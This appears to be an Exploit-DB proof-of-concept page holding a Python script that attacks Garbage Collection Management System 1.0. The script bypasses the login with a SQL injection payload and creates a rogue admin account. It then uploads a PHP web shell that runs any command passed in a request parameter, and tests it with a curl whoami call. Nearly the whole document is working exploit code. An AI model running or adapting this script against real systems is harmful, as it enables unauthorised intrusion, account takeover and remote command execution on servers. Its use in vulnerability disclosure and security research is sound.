906bbc4943
8 changes to exploits/shellcodes Apache Tomcat 9.0.0.M1 - Open Redirect WordPress Plugin WPFront Notification Bar 1.9.1.04012 - Stored Cross-Site Scripting (XSS) Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS) Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)
82 lines
No EOL
2.2 KiB
Python
Executable file
82 lines
No EOL
2.2 KiB
Python
Executable file
# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload
|
|
# Date: 05-07-2021
|
|
# Exploit Author: Luca Bernardi - bernardiluca.job at protonmail.com | luca.bernardi at dedagroup.it
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
|
|
# POC: https://www.exploit-db.com/exploits/50085
|
|
# Tested On: Ubuntu 21.04 + Apache/2.4.46 (Ubuntu)
|
|
# Version: 1.0
|
|
|
|
#======================================================
|
|
|
|
#imports
|
|
from requests_toolbelt.multipart.encoder import MultipartEncoder
|
|
import requests
|
|
import string
|
|
import random
|
|
import os
|
|
import argparse
|
|
|
|
#generate random string 8 chars
|
|
def randomGen(size=8, chars=string.ascii_lowercase):
|
|
return ''.join(random.choice(chars) for _ in range(size))
|
|
|
|
|
|
|
|
#generating a random username and a random web shell file
|
|
user=randomGen()
|
|
shellFile=randomGen()+".php"
|
|
|
|
#creating a payload for the login
|
|
payload = {
|
|
"username":"a",
|
|
"password":"a' OR 1=1 AND ucat='admin' #"
|
|
}
|
|
|
|
|
|
proxies = {"http":"http://127.0.0.1:8080"}
|
|
|
|
session=requests.Session()
|
|
|
|
#changeme
|
|
urlBase="http://172.27.1.71/Gabage/"
|
|
|
|
url=urlBase+"login.php"
|
|
print("=== executing SQL Injection ===")
|
|
req=session.post(url,payload,allow_redirects=False)
|
|
|
|
cookie=req.headers["Set-Cookie"]
|
|
print("=== authenticated admin cookie:" + cookie + " ===")
|
|
|
|
url=urlBase+"apatient/users.php?user=rayat"
|
|
|
|
mp_encoder = MultipartEncoder(
|
|
fields = {
|
|
"fullname":user,
|
|
"ucat":"admin",
|
|
"contact":"0000000000",
|
|
"address":"aaa ave",
|
|
"username":user,
|
|
"acstatus":"active",
|
|
"date":"2021-07-05",
|
|
"password":user,
|
|
"image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
|
|
"submit":""
|
|
}
|
|
)
|
|
|
|
|
|
headers = {
|
|
"Cookie":cookie,
|
|
'Content-Type': mp_encoder.content_type
|
|
}
|
|
|
|
print("=== creating user " + user + " and uploading shell " + shellFile +" ===")
|
|
req=session.post(url,data=mp_encoder,allow_redirects=False,headers=headers) #,proxies=proxies)
|
|
|
|
#curl the shell for test
|
|
requestUrl = "curl " + urlBase + "apatient/contract/"+shellFile+"?cmd=whoami"
|
|
print("=== issuing a whoami: " + requestUrl + " ===")
|
|
|
|
print("===CURL OUTPUT===")
|
|
os.system(requestUrl) |